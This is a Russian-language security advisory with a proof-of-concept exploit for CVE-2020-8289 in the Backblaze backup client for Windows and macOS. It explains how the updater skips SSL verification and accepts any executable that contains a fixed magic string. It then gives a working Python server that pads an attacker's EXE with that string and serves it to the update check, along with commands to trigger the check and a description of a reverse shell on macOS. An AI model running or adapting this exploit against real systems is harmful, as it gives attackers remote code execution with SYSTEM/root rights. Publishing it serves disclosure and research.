
Эксплойт proof-of-concept для CVE-2020-8289, демонстрирующий удалённое выполнение кода с правами SYSTEM/root через обход проверки SSL в клиенте резервного копирования Backblaze и невалидируемый механизм обновления.
Название: Удалённое выполнение кода с правами SYSTEM/root через Backblaze
CVE: CVE-2020-8289
Исследователь: Jason Geffner
Производитель: Backblaze
Продукт: Backblaze для Windows и Backblaze для macOS
Риск: Критический
Дата обнаружения: 2020-03-13
Дата публикации: 2020-09-09
Исправленная версия: 7.0.1.433 (Windows) и 7.1.0.434 (macOS)
Согласно Википедии, Backblaze — это
«инструмент онлайн-резервного копирования, который позволяет пользователям Windows и macOS создавать резервные копии своих данных в удалённых центрах обработки данных. Сервис предназначен для бизнеса и конечных пользователей, предоставляя неограниченное дисковое пространство и поддерживая файлы без ограничения размера».
Уязвимые версии Backblaze для Windows и Backblaze для macOS содержат критическую уязвимость, которая позволяет не имеющему привилегий анонимному удалённому злоумышленнику выполнять произвольный код (RCE) с правами SYSTEM/root.
Сервисный процесс клиента Backblaze с именем bzserv работает как SYSTEM в Windows и как root в macOS. Каждые пару часов bzserv запускает программу bztransmit (выполняющуюся с правами SYSTEM/root) для загрузки XML-файла с именем clientversion.xml из центра обработки данных Backblaze, чтобы проверить, доступна ли для загрузки более новая версия клиента Backblaze. URL этого XML-файла формируется из имени хоста bzdatacenter в установленном файле bzinstall.xml (доступном только для чтения для непривилегированных пользователей) и жёстко заданного пути api/clientversion.xml, в результате получается URL вида https://ca000.backblaze.com/api/clientversion.xml. Эта загрузка выполняется с помощью статически связанной библиотеки libcurl. Однако функции bztransmit, использующие libcurl, содержат необычную логику, которая заставляет их устанавливать CURLOPT_SSL_VERIFYPEER в 0 и CURLOPT_SSL_VERIFYHOST в 0, если переданный URL содержит одну из следующих строк:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeЭто позволяет удалённому злоумышленнику выдавать себя за веб-сервер https://ca000.backblaze.com/ с недействительным SSL-сертификатом (например, самоподписанным) и предоставлять клиенту управляемый злоумышленником файл clientversion.xml. Когда bztransmit разбирает загруженный XML-файл, он проверяет, является ли последняя версия клиента, описанная в XML-файле, более новой, чем установленная версия клиента, и если да, загружает установщик последней версии клиента из центра обработки данных Backblaze. URL для этой загрузки формируется из атрибута win32_url/mac_url в загруженном файле clientversion.xml; значение атрибута должно начинаться с %DEST_HOST%, и эта строка во время выполнения заменяется на указанное выше имя хоста центра обработки данных. Таким образом, злоумышленник может указать в своём clientversion.xml URL загрузки вида %DEST_HOST%/api/install_backblaze, чтобы заставить bztransmit загрузить установщик с https://ca000.backblaze.com/api/install_backblaze, и снова игнорировать SSL-сертификат сервера из-за строки api/install_backblaze в URL. Если загруженный файл не является ZIP-файлом (например, это PE-файл или Mach-o файл), то единственная проверка файла, выполняемая bztransmit, заключается в том, что файл должен содержать строку bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavex в определённом диапазоне смещений в файле. Как только эта проверка пройдена, bztransmit использует ShellExecute()/system() для запуска загруженного файла с правами SYSTEM/root, что позволяет злоумышленнику выполнить RCE с правами SYSTEM/root.
Видео: https://youtu.be/W0THXbcX5V8
Это доказательство концепции предназначено для клиента Windows. Мы предполагаем, что злоумышленник уже отправил жертве поддельный DNS-ответ, чтобы направить ca000.backblaze.com на IP-адрес злоумышленника, но для целей тестирования PoC вы можете вместо этого добавить строку <attacker's IP> ca000.backblaze.com в файл %windir%\System32\drivers\etc\hosts на системе жертвы. Приведённый ниже код предполагает, что злоумышленник предоставит rce.exe (который будет выполнен с правами SYSTEM на системе жертвы) и server.pem (который может быть самоподписанным).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Когда приведённый выше код запущен, ждите. Клиент жертвы проверяет наличие обновлений каждые пару часов.
Если вы хотите проверить PoC, не дожидаясь, вы можете выполнить следующие команды с правами SYSTEM (например, с помощью psexec) на системе жертвы, чтобы принудительно запустить проверку обновлений:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateВидео: https://youtu.be/ILPP1Ky5nuY
Это доказательство концепции предназначено для клиента macOS. В реальном мире злоумышленник отправил бы жертве поддельный DNS-ответ, чтобы направить ca000.backblaze.com на IP-адрес злоумышленника, но для целей PoC мы атакуем с той же системы, что и жертва, и эксплуатируем скомпрометированный сервис Backblaze, чтобы создать удалённую оболочку обратно к злоумышленнику, тем самым предоставляя потенциальному удалённому злоумышленнику root-доступ.